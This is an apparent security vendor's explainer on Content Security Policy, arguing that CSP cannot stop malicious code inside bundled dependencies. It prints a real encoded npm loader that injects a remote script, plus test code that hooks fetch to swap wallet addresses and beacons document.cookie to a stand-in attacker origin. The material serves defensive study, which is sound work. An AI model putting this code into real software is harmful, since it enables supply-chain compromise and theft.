Content Security Policy (CSP)
Content Security Policy (CSP) is an HTTP response header that tells the browser which sources a page may load code from, limiting the damage of XSS attacks.
Also known as CSP header, Content-Security-Policy
Content Security Policy (CSP) is a browser security mechanism, delivered in the Content-Security-Policy HTTP response header, that tells the browser which sources a page may load scripts, styles, frames, and connections from. The browser blocks and reports anything outside the policy. CSP limits the damage of cross-site scripting (XSS), but it cannot see malicious code bundled into your own JavaScript.
Our position: every HTML response should carry a strict, nonce-based content security policy with a tight connect-src. That policy turns most injected markup into a blocked request and a violation report. But CSP decides trust by origin and by script element, and a bundler gives every dependency your origin and your nonce. We tested this in Chromium. A strict policy let code from a bundled dependency load a remote script and rewrite API responses in place.
How does a Content Security Policy work?
#A Content Security Policy works by giving the browser a list of allowed sources for each resource type, which the browser checks before every load or execution.
The problem it solves comes from how the web was built. The same-origin policy stops a page from reading another origin's data, but it never restricted where executable code comes from. A <script src> tag fetches code from any host and runs it with full access to the page's DOM, cookies, and APIs. That design is what made the web composable. It also means one injected <script> tag owns the page. CSP adds the missing control: the server declares, per response, what the document may load and run.
A policy is a semicolon-separated list of directives. Each directive names a resource type and the sources allowed for it:
Content-Security-Policy: default-src 'self'; script-src 'nonce-r4nd0m' 'strict-dynamic'; connect-src 'self' https://api.example.com; img-src 'self' data:; object-src 'none'; base-uri 'none'; frame-ancestors 'self'The mechanics that matter in practice:
- Fetch directives fall back to
default-src.script-src,style-src,img-src,connect-src,font-src, andframe-srceach overridedefault-srcwhen present. script-srcalso governs code that never touches the network. Inline<script>blocks, inline event handlers likeonclick, andeval()are refused unless the policy allows them with a nonce, a hash,'unsafe-inline', or'unsafe-eval'.connect-srcgoverns requests made from script. That coversfetch(),XMLHttpRequest, WebSocket, EventSource, andnavigator.sendBeacon().frame-ancestorscontrols who may embed the page. It is the CSP replacement forX-Frame-Optionsand the main defense against clickjacking.- Multiple policies intersect. When a response carries two enforced policies, a load must satisfy both, so adding a policy can only tighten it.
- A
<meta>tag can carry most of a policy, but not all of it. The CSP Level 3 draft excludesreport-uri,frame-ancestors,sandbox, and the Report-Only mode from<meta>delivery.
CSP is one of several security headers, and the W3C is explicit about its role. The specification says: "CSP is not intended as a first line of defense against content injection vulnerabilities." Output encoding and safe templating prevent XSS. CSP limits what an injection can do when those fail.
Violation reports
#When the browser blocks something, it fires a securitypolicyviolation event in the page and sends a report to the endpoint the policy names. This is the exact report headless Chromium sent in our test when bundled code tried to fetch() an attacker origin:
{
"csp-report": {
"document-uri": "http://127.0.0.1:8000/",
"referrer": "",
"violated-directive": "connect-src",
"effective-directive": "connect-src",
"original-policy": "script-src 'nonce-r4nd0m' 'strict-dynamic'; connect-src 'self'; object-src 'none'; base-uri 'none'; report-uri /csp-report",
"disposition": "enforce",
"blocked-uri": "http://localhost:8001/beacon",
"line-number": 16,
"column-number": 1,
"source-file": "http://127.0.0.1:8000/app.js",
"status-code": 200,
"script-sample": ""
}
}The report names the blocked URL and the file and line that made the request. That makes reports useful for incident response, not just for tuning. The Content-Security-Policy-Report-Only header takes the same syntax and sends the same reports without blocking anything. CSP Level 3 deprecates report-uri in favor of report-to, which uses the Reporting API. Sending both is still the practical choice for cross-browser coverage.
Why allowlist policies fail
#A host allowlist fails because an allowed host usually serves more than the one script you meant to trust.
Google researchers measured this in the 2016 paper "CSP Is Dead, Long Live CSP!". They analyzed 26,011 unique policies seen on 1,680,867 hosts. They found that 94.72% of distinct policies could be bypassed. Of the 15 domains most commonly allowlisted for scripts, 14 hosted endpoints that let an attacker run arbitrary code, such as JSONP callbacks. If script-src allows a CDN, an attacker who can inject a tag can load any file on that CDN.
The fix the paper proposed is now the standard: nonces. The server generates a fresh random value for each response, puts it in the header as 'nonce-…', and stamps it on each legitimate <script nonce="…">. Injected markup cannot guess a value that changes every response. A hash ('sha256-…') does the same job for static pages.
Nonces break script loaders, so the paper also introduced 'strict-dynamic'. MDN describes it as trust given to a nonced or hashed script that "shall be propagated to all the scripts loaded by that root script." When 'strict-dynamic' is present, host allowlists and 'self' in script-src are ignored. That trade is correct for XSS. It is the wrong trade for a compromised dependency, which is where CSP's model runs out.
What can't a Content Security Policy stop?
#A Content Security Policy cannot stop malicious code that arrives inside a script the policy already trusts.
CSP's unit of trust is the document's origin and the individual script element. Neither tells the browser who wrote the code. A modern build concatenates your code and hundreds of packages from node_modules into one app.js, including every transitive dependency. The nonce attaches to that file, so every line in it runs with the same authority as yours. A supply chain attack that lands in the bundle starts on the trusted side of the policy.
Two Socket investigations show the two ways this plays out.
Code that never makes a new request. In the Qix npm account compromise, on September 8, 2025, attackers phished a maintainer and published malicious versions of widely used packages. Socket confirmed 19 malicious versions, including chalk@5.6.1 and debug@4.4.2. Those packages generally receive 2 to 3 billion downloads per week. The payload checked typeof window !== 'undefined', then hooked window.fetch, XMLHttpRequest, and window.ethereum.request. It rewrote cryptocurrency addresses inside responses and transactions before the app saw them. Hooking a function is not a load, so no CSP directive is consulted. This is the standard outcome of a maintainer account takeover that reaches a browser bundle.
Code that loads a second stage. In the art-template compromise, versions 4.13.5 and 4.13.6 appended a loadScript() call to lib/template-web.js that pulled a script from v3.jiathis[.]com. That domain redirected to a watering hole serving a Coruna iOS exploit kit delivery framework. An earlier version, 4.13.3, published on March 12, 2025, carried an encoded loader. We downloaded that tarball from the npm registry and pulled the appended code from the end of the file:
function scriptMagician() {
var script = document.createElement('script');
// decodes to https://git.youzzjizz[.]com/git.js
script.src = String.fromCharCode.apply(null, [104,116,116,112,115,58,47,47,103,105,116,46,121,111,117,122,122,106,105,122,122,46,99,111,109,47,103,105,116,46,106,115]);
script.onload = function () { if (typeof initBaiduShare === 'function') { initBaiduShare(); } };
script.onerror = function () {};
document.head.appendChild(script);
}
scriptMagician();A script element created with document.createElement and appended by a trusted script is exactly what 'strict-dynamic' is designed to allow. Under the nonce plus 'strict-dynamic' policy that Google's researchers and MDN recommend, a loader like this runs, as our test below shows. As of November 7, 2026, art-template@4.13.3 is still downloadable from the npm registry, and the latest tag points at 4.13.4.
We tested it
#We reproduced both behaviors in headless Chromium. A local page on 127.0.0.1:8000 loaded one nonced app.js. The page also contained an injected inline <script> with no nonce, standing in for an XSS payload. Inside app.js, after the app code, we placed dependency code that did three things: patched window.fetch to rewrite a wallet address in API responses, appended a <script src> pointing at a second origin on port 8001, and sent a fetch() beacon to that origin. Here is the dependency portion:
const realFetch = window.fetch;
window.fetch = async (...args) => {
const res = await realFetch(...args);
const text = (await res.text()).replace(/0x1{40}/, '0x' + 'a'.repeat(40));
return new Response(text, { status: res.status, headers: res.headers });
};
const s = document.createElement('script');
s.src = 'http://localhost:8001/x.js';
document.head.appendChild(s);
realFetch('http://localhost:8001/beacon', { method: 'POST', body: document.cookie });Figure 1 shows the run under script-src 'nonce-r4nd0m' 'strict-dynamic'; connect-src 'self'. The injected inline script was blocked by script-src. The dependency's remote <script src> loaded and executed, because 'strict-dynamic' trusts script elements created by the nonced bundle. The dependency's fetch() beacon to the attacker origin was blocked by connect-src 'self'. The dependency's patch of window.fetch ran and rewrote the address in the app's own API response, because patching a function makes no request for CSP to check. The second-stage script loaded even with connect-src 'self' in place, because script loads are governed by script-src, not connect-src.
We then ran the same page under five policies:
| Policy | Injected inline script | Dependency loads remote script | Dependency beacon to attacker | Dependency patches fetch |
|---|---|---|---|---|
| 1. script-src 'self'; connect-src 'self' (host allowlist) | Blocked | Blocked | Blocked | Runs |
| 2. script-src 'nonce-r4nd0m' 'strict-dynamic' (no connect-src) | Blocked | Runs | Runs | Runs |
| 3. Policy 2 + connect-src 'self' | Blocked | Runs | Blocked | Runs |
| 4. Policy 3 + require-trusted-types-for 'script' | Blocked | Runs (dependency created its own Trusted Types policy) | Blocked | Runs |
| 5. Policy 4 + trusted-types app-policy | Blocked | Blocked | Blocked | Runs |
The last column never changes. No policy, however strict, stopped the response-rewriting hook, which is the technique the Qix payload used. The allowlist in row 1 blocked the loader only because the attacker's host was not on it, and allowlists fail the moment an attacker controls an allowed host. Row 4 shows why Trusted Types alone is not enough. Trusted Types blocked the raw script.src assignment, but our dependency code then called trustedTypes.createPolicy() itself and passed the check. Only row 5, which restricts policy names with trusted-types app-policy, stopped the loader. That holds only while dependency code cannot reach the app's own policy object.
CSP still earned its place in this test. connect-src 'self' stopped direct exfiltration and produced a report pointing at the exact file and line. That is a real reduction in blast radius. CSP does not tell you that a dependency turned hostile.
Polyfill.io and the limits of host allowlists
#A host allowlist is a bet on a domain's future behavior, and the polyfill.io incident is what losing that bet looks like.
In the polyfill.io supply chain attack, the domain and GitHub repository changed hands on February 24, 2024. The new owners began serving malware to mobile visitors of more than 110,000 websites that embedded cdn.polyfill.io. Every one of those sites that allowlisted https://cdn.polyfill.io in script-src was telling the browser to run the malware.
The usual answer for third-party scripts is Subresource Integrity (SRI): an integrity="sha384-…" attribute that makes the browser refuse a file whose hash changed. SRI did not fit polyfill.io, because the service generated different code for each browser based on request headers. There was no single hash to pin. Andrew Betts, who created the Polyfill Service, said it plainly: "If you own a website, loading a script implies an incredible relationship of trust with that third party."
The defensible pattern is to self-host third-party code or pin it with SRI, and to treat any script whose content you cannot hash as an unreviewed dependency.
What is the difference between CSP and CORS?
#CSP and CORS (Cross-Origin Resource Sharing) are often confused, but they restrict opposite sides of a cross-origin interaction.
CORS is set by the server that owns a resource. Its Access-Control-Allow-Origin header tells browsers which other origins may read that resource's responses, relaxing the same-origin policy for them. CSP is set by the server that sends the page. It restricts what that page may load, run, and connect to.
The distinction matters for exfiltration. In our test, the attacker's server answered with Access-Control-Allow-Origin: *, inviting any page to talk to it. connect-src 'self' blocked the beacon anyway, because CSP is checked before the request leaves the browser. CORS only decides whether a response can be read, and a request sent with mode: 'no-cors' still delivers its body. CORS cannot stop data from leaving your page. Only your own CSP can.
| Content Security Policy (CSP) | CORS | |
|---|---|---|
| Set by | The server that sends the HTML page | The server that owns the requested resource |
| Controls | What the page may load, execute, and connect to | Which other origins may read the resource's responses |
| Without the header | The page may load and run scripts from any origin | Cross-origin reads are blocked by the same-origin policy |
| Common mistake | 'unsafe-inline' or broad host allowlists in script-src | Reflecting any Origin together with Access-Control-Allow-Credentials: true |
| Stops data leaving the page | Partly, through connect-src and the other fetch directives | No |
Verdict: CSP and CORS are not alternatives. Use CORS on APIs that other origins must call, and keep its allowlist exact. Put a CSP on every HTML document you serve.
How do you implement a Content Security Policy header?
#To implement a Content Security Policy header, generate a fresh nonce for every response, send the policy in Report-Only mode until the reports are clean, and then enforce it.
This Express middleware sends a strict policy and stamps the nonce on the page's script tag. We ran it on Node.js 22 with Express 5:
import crypto from 'node:crypto'
import express from 'express'
const app = express()
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64')
res.locals.nonce = nonce
res.setHeader('Content-Security-Policy', [
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"connect-src 'self' https://api.example.com",
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'self'",
"require-trusted-types-for 'script'",
'report-uri /csp-reports',
'report-to csp'
].join('; '))
res.setHeader('Reporting-Endpoints', 'csp="https://example.com/csp-reports"')
next()
})
app.get('/', (req, res) => {
res.send(`<!doctype html><script nonce="${res.locals.nonce}" src="/app.js"></script>`)
})
app.listen(3000)The rollout that works:
- Ship it as
Content-Security-Policy-Report-Onlyfirst. Collect reports for at least a full release cycle. Expect noise: browser extensions inject scripts into pages and generate violations you cannot fix. - Move inline code out of the HTML. Inline
onclickhandlers andjavascript:URLs cannot carry a nonce, so convert them to listeners in a nonced script. - Keep
connect-srctight. List the exact API origins the page calls. This is the directive that stopped exfiltration in our test, and it is the one most teams loosen tohttps:to make errors go away. - Add Trusted Types with named policies.
require-trusted-types-for 'script'plustrusted-types <your-policy-names>closes DOM XSS sinks such asinnerHTMLandscript.src. Trusted Types reached Baseline browser support in February 2026, per MDN. - Enforce, and keep a stricter Report-Only policy beside it. The second header lets you test the next tightening against real traffic.
Each choice has a cost. A per-response nonce means the HTML cannot be served byte-for-byte from a shared cache. 'strict-dynamic' keeps tag managers and loaders working, and it extends the same trust to any loader inside a compromised package. A tight connect-src needs updating every time the frontend adds an API origin.
Payment pages have a compliance reason to do this work. PCI DSS v4.0 requirements 6.4.3 and 11.6.1 took effect on March 31, 2025. They require payment page scripts to be authorized and monitored for tampering. A nonce-based CSP with reporting answers "which scripts can run." It does not detect a change inside a script you already authorized.
CSP stops at the origin boundary
#CSP answers one question well: where may this document load code from, and where may it send requests? It never asks what a trusted script does once it runs. The browser has no notion of a dependency boundary inside a bundle. CSP also has no control over top-level navigation, another route out of the page, because the proposed navigate-to directive was removed from the draft after no browser shipped it.
So the decision about a dependency has to be made before it reaches the bundle, by analyzing what the package actually contains. Socket inspects the published files of each package version and raises alerts such as Network access, URL strings, and Obfuscated code based on what the code does, not what its metadata claims. A String.fromCharCode array that decodes to a script URL is the kind of signal that is visible in a tarball and invisible to a browser enforcing CSP.
A Content Security Policy decides trust by asking where code came from. After npm install and a bundler, every dependency gives the same answer: 'self'.
